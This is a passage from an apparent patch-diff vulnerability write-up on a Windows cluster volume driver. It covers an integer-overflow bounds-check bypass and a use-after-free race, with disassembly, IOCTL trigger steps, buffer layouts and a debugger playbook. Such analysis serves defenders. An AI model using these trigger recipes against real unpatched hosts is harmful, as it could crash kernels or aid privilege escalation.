&lt;span class="nt"&gt;0x1c000a032&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nt"&gt;eax&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cp"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;rcx&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mh"&gt;0x8&lt;/span&gt;&lt;span class="cp"&gt;]&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;Compute&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;size&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;8&lt;/span&gt;
&lt;span class="nt"&gt;0x1c000a035&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nt"&gt;eax&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;ecx&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;***&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;OVERFLOW&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;CHECK&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;is&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;result&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;original&lt;/span&gt;&lt;span class="o"&gt;?&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;***&lt;/span&gt;
&lt;span class="nt"&gt;0x1c000a037&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;cmovnb&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;edx&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;eax&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;Only&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;use&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;result&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;no&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;overflow&lt;/span&gt;
&lt;span class="nt"&gt;0x1c000a03a&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;sbb&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nt"&gt;edi&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;edi&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;Capture&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;carry&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;flag&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;STATUS_INTEGER_OVERFLOW&lt;/span&gt;
&lt;span class="nt"&gt;0x1c000a03c&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;and&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nt"&gt;edi&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;0xc0000095&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;Return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;error&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;wrap&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;occurred&lt;/span&gt;
&lt;span class="nt"&gt;0x1c000a044&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;jb&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nt"&gt;0x1c000a2a6&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;overflow&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;STATUS_INTEGER_OVERFLOW&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;Finding 2: &lt;code&gt;CsvCamSetSecurityInfoSafe&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;The unpatched code reads the global pointer and dereferences it &lt;em&gt;before&lt;/em&gt; the &lt;code&gt;SigningLock&lt;/code&gt; is acquired.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;--- UNPATCHED (fn @ 0x1c0018450) ---&lt;/span&gt;
&lt;span class="mh"&gt;0x1c00184a4&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;EncryptionManager&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;***&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;VULNERABLE&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;read&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;EncryptionManager&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;WITHOUT&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;LOCK&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;***&lt;/span&gt;
&lt;span class="mh"&gt;0x1c00184ae&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rdx&lt;/span&gt;
&lt;span class="mh"&gt;0x1c00184b1&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;je&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="mh"&gt;0x1c00184e0&lt;/span&gt;
&lt;span class="mh"&gt;0x1c00184b3&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rdx+0x20&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt;           &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;***&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;deref&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mh"&gt;0x20&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;without&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;lock&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;UAF&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;read&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;***&lt;/span&gt;
&lt;span class="mh"&gt;0x1c00184bb&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rdx+0x18&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt;           &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;deref&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mh"&gt;0x18&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Buf2&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="mh"&gt;0x1c00184c6&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;memcmp&lt;/span&gt;
&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;exclusive&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;lock&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;free&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nf"&gt;replace&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;of&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;EncryptionManager&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;is&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;at&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x1c0018544&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;--- PATCHED (fn @ 0x1c00172d0) ---&lt;/span&gt;
&lt;span class="mh"&gt;0x1c001732d&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rbx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;SigningLock&lt;/span&gt;
&lt;span class="mh"&gt;0x1c0017337&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;KeEnterCriticalRegion&lt;/span&gt;
&lt;span class="mh"&gt;0x1c0017343&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbx&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;
&lt;span class="mh"&gt;0x1c0017346&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;dl&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;r15b&lt;/span&gt;&lt;span class="w"&gt;                  &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Wait&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;
&lt;span class="mh"&gt;0x1c0017349&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;ExAcquireResourceSharedLite&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;***&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;LOCK&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ADDED&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;before&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;the&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;read&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;***&lt;/span&gt;
&lt;span class="mh"&gt;0x1c0017355&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;EncryptionManager&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;NOW&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;safely&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;read&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;EncryptionManager&lt;/span&gt;
&lt;span class="mh"&gt;0x1c0017361&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rdx+0x20&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt;           &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;safe&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;deref&lt;/span&gt;
&lt;span class="mh"&gt;0x1c001738e&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;SigningLock&lt;/span&gt;
&lt;span class="mh"&gt;0x1c0017398&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;ExReleaseResourceLite&lt;/span&gt;
&lt;span class="mh"&gt;0x1c00173a4&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;KeLeaveCriticalRegion&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2&gt;5. Trigger Conditions&lt;/h2&gt;
&lt;h3&gt;Finding 1: Integer Overflow Bounds-Check Bypass&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;Obtain a handle to the CSV VBus device (e.g., &lt;code&gt;\Device\CSVVolume0&lt;/code&gt; or &lt;code&gt;\Device\VClusBus&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;Craft an input buffer of at least &lt;code&gt;0x10&lt;/code&gt; bytes. &lt;/li&gt;
&lt;li&gt;The buffer must be structured as a property entry array:&lt;ul&gt;
&lt;li&gt;Offset &lt;code&gt;0x0&lt;/code&gt;: &lt;code&gt;PropertyType&lt;/code&gt; (DWORD) - set to a valid type (e.g., &lt;code&gt;0x4&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;Offset &lt;code&gt;0x4&lt;/code&gt;: &lt;code&gt;NextEntryOffset&lt;/code&gt; (DWORD) - set to &lt;code&gt;0x0&lt;/code&gt; (or &lt;code&gt;0x18&lt;/code&gt; to force loop continuation).&lt;/li&gt;
&lt;li&gt;Offset &lt;code&gt;0x8&lt;/code&gt;: &lt;code&gt;Reserved&lt;/code&gt; (DWORD) - &lt;code&gt;0x0&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Offset &lt;code&gt;0xC&lt;/code&gt;: &lt;code&gt;DataSize&lt;/code&gt; (DWORD) - &lt;strong&gt;Set this to &lt;code&gt;0xFFFFFFF8&lt;/code&gt;&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;Offset &lt;code&gt;0x10&lt;/code&gt;: &lt;code&gt;Data&lt;/code&gt; (bytes).&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Send the buffer via &lt;code&gt;DeviceIoControl&lt;/code&gt; using &lt;code&gt;dwIoControlCode = 0x7780064&lt;/code&gt; (&lt;code&gt;METHOD_BUFFERED&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;The bounds check &lt;code&gt;size + 8&lt;/code&gt; wraps to &lt;code&gt;0&lt;/code&gt; and is bypassed. The subsequent &lt;code&gt;WdfMemoryCreate&lt;/code&gt; is then called with the full &lt;code&gt;0xFFFFFFF8&lt;/code&gt; size, which fails (allocation too large), so the function returns &lt;code&gt;STATUS_INSUFFICIENT_RESOURCES&lt;/code&gt; rather than corrupting memory. The observable effect is the bypassed remaining-bytes check.&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;Finding 2: TOCTOU Race Condition (UAF)&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;Open two concurrent handles to &lt;code&gt;\Device\VClusBus&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Thread A:&lt;/strong&gt; Send an IOCTL that routes to &lt;code&gt;CsvCamSetSecurityInfoSafe&lt;/code&gt;. The input buffer (&lt;code&gt;arg1&lt;/code&gt;) must be &lt;code&gt;&amp;gt;= 0x10&lt;/code&gt; bytes, and &lt;code&gt;arg1[2]&lt;/code&gt; (the encryption type) must be non-zero to enter the vulnerable code path.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Thread B:&lt;/strong&gt; Repeatedly trigger the IOCTL or internal function that replaces the &lt;code&gt;EncryptionManager&lt;/code&gt; object (the exclusive lock path). This frees the old object.&lt;/li&gt;
&lt;li&gt;Execute both threads in a tight loop, manipulating thread priorities and CPU affinities to widen the race window.&lt;/li&gt;
&lt;li&gt;The bug is triggered when Thread B frees &lt;code&gt;EncryptionManager&lt;/code&gt; exactly between Thread A's read of the pointer and Thread A's dereference of &lt;code&gt;+0x18&lt;/code&gt;/&lt;code&gt;+0x20&lt;/code&gt;. &lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;6. Exploit Primitive &amp;amp; Development Notes&lt;/h2&gt;
&lt;h3&gt;Finding 1 Primitive: Bounds-Check Bypass (CWE-190)&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Primitive:&lt;/strong&gt; Defeating the &lt;code&gt;remaining &amp;lt; size + 8&lt;/code&gt; guard. In this code path, however, the allocation size is &lt;code&gt;DataSize&lt;/code&gt; itself (not &lt;code&gt;size + 8&lt;/code&gt;), and to overflow the check &lt;code&gt;DataSize&lt;/code&gt; must be &amp;gt;= &lt;code&gt;0xFFFFFFF8&lt;/code&gt;. That same value is passed to &lt;code&gt;WdfMemoryCreate&lt;/code&gt;, so the ~4GB allocation fails (&lt;code&gt;js 0x1C000A204&lt;/code&gt; -&amp;gt; &lt;code&gt;STATUS_INSUFFICIENT_RESOURCES&lt;/code&gt;) and the &lt;code&gt;memset&lt;/code&gt;/&lt;code&gt;memmove&lt;/code&gt; never execute. The loop advance by &lt;code&gt;NextEntryOffset&lt;/code&gt; is separately bounds-checked against the buffer end.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Weaponization:&lt;/strong&gt; Note that &lt;code&gt;DataSize&lt;/code&gt; values such as &lt;code&gt;0xFFFFFFF9&lt;/code&gt; do NOT produce a small allocation - only &lt;code&gt;size + 8&lt;/code&gt; wraps small; the allocation still uses the full &lt;code&gt;DataSize&lt;/code&gt; (~4GB) and fails. A controlled out-of-bounds read/write is therefore not directly reachable from this function; the observable result is a bypassed remaining-bytes check followed by a failed allocation.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Mitigations:&lt;/strong&gt; The patch adds an explicit overflow guard at &lt;code&gt;0x1C000A02B&lt;/code&gt; returning &lt;code&gt;STATUS_INTEGER_OVERFLOW&lt;/code&gt;. This is a hardening fix rather than a fix for a demonstrated corruption primitive.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Finding 2 Primitive: Use-After-Free (UAF)&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Primitive:&lt;/strong&gt; Kernel UAF. The &lt;code&gt;EncryptionManager&lt;/code&gt; object is a &lt;code&gt;0x28&lt;/code&gt;-byte paged-pool allocation (tag &lt;code&gt;0x41435643&lt;/code&gt;, from &lt;code&gt;ExAllocatePoolWithTag&lt;/code&gt; at &lt;code&gt;0x1C00184E5&lt;/code&gt;). A dereference of the object after a concurrent free reads freed pool memory at &lt;code&gt;+0x20&lt;/code&gt; (a size) and &lt;code&gt;+0x18&lt;/code&gt; (a pointer subsequently passed to &lt;code&gt;memcmp&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Demonstrable impact:&lt;/strong&gt; If the freed allocation is reclaimed before the dereference, the values read at &lt;code&gt;+0x20&lt;/code&gt;/&lt;code&gt;+0x18&lt;/code&gt; are no longer the original object's, so the outcome ranges from a kernel crash (page fault / verifier bugcheck) to reading data from whatever reoccupied the freed block. A specific, reliable read/write primitive is not demonstrated here and would depend on reclaim reliability for paged pool.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Mitigations:&lt;/strong&gt; The patch closes the window by taking &lt;code&gt;SigningLock&lt;/code&gt; shared before the read, which is mutually exclusive with the exclusive-lock replace path that frees the object.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;7. Debugger PoC Playbook&lt;/h2&gt;
&lt;h3&gt;Finding 1: &lt;code&gt;VxVolumerSetStorageProp&lt;/code&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Breakpoints:&lt;/strong&gt;&lt;ul&gt;
&lt;li&gt;&lt;code&gt;bp csvvbus_unpatched!VxVolumerSetStorageProp&lt;/code&gt; (Entry point. Inspect &lt;code&gt;rcx&lt;/code&gt; for IRP/WDF Request).&lt;/li&gt;
&lt;li&gt;&lt;code&gt;ba e1 0x1c0009fd0&lt;/code&gt; (The vulnerable bounds check).&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;What to inspect:&lt;/strong&gt;&lt;ul&gt;
&lt;li&gt;At &lt;code&gt;0x1c0009fd0&lt;/code&gt;: Inspect &lt;code&gt;eax&lt;/code&gt; after the &lt;code&gt;mov&lt;/code&gt;. It will hold the attacker-controlled &lt;code&gt;DataSize&lt;/code&gt; (&lt;code&gt;0xFFFFFFF8&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;After &lt;code&gt;add eax, 0x8&lt;/code&gt; (&lt;code&gt;0x1c0009fd4&lt;/code&gt;): &lt;code&gt;eax&lt;/code&gt; will wrap to &lt;code&gt;0x00000000&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Check &lt;code&gt;r15d&lt;/code&gt; (remaining buffer size). The &lt;code&gt;cmp r15d, eax&lt;/code&gt; (&lt;code&gt;0x1c0009fd7&lt;/code&gt;) check will pass since &lt;code&gt;r15d &amp;gt; 0&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Key instructions/offsets:&lt;/strong&gt;&lt;ul&gt;
&lt;li&gt;&lt;code&gt;0x1c0009fd4&lt;/code&gt;: The vulnerable &lt;code&gt;add eax, 0x8&lt;/code&gt; instruction (repeated at &lt;code&gt;0x1c000a1f8&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0x1c000a048&lt;/code&gt;: &lt;code&gt;WdfMemoryCreate&lt;/code&gt; call - fails for the oversized &lt;code&gt;DataSize&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0x1c000a078&lt;/code&gt;: The &lt;code&gt;memmove&lt;/code&gt; (only reached if that allocation succeeds, which it does not for overflow-triggering sizes).&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
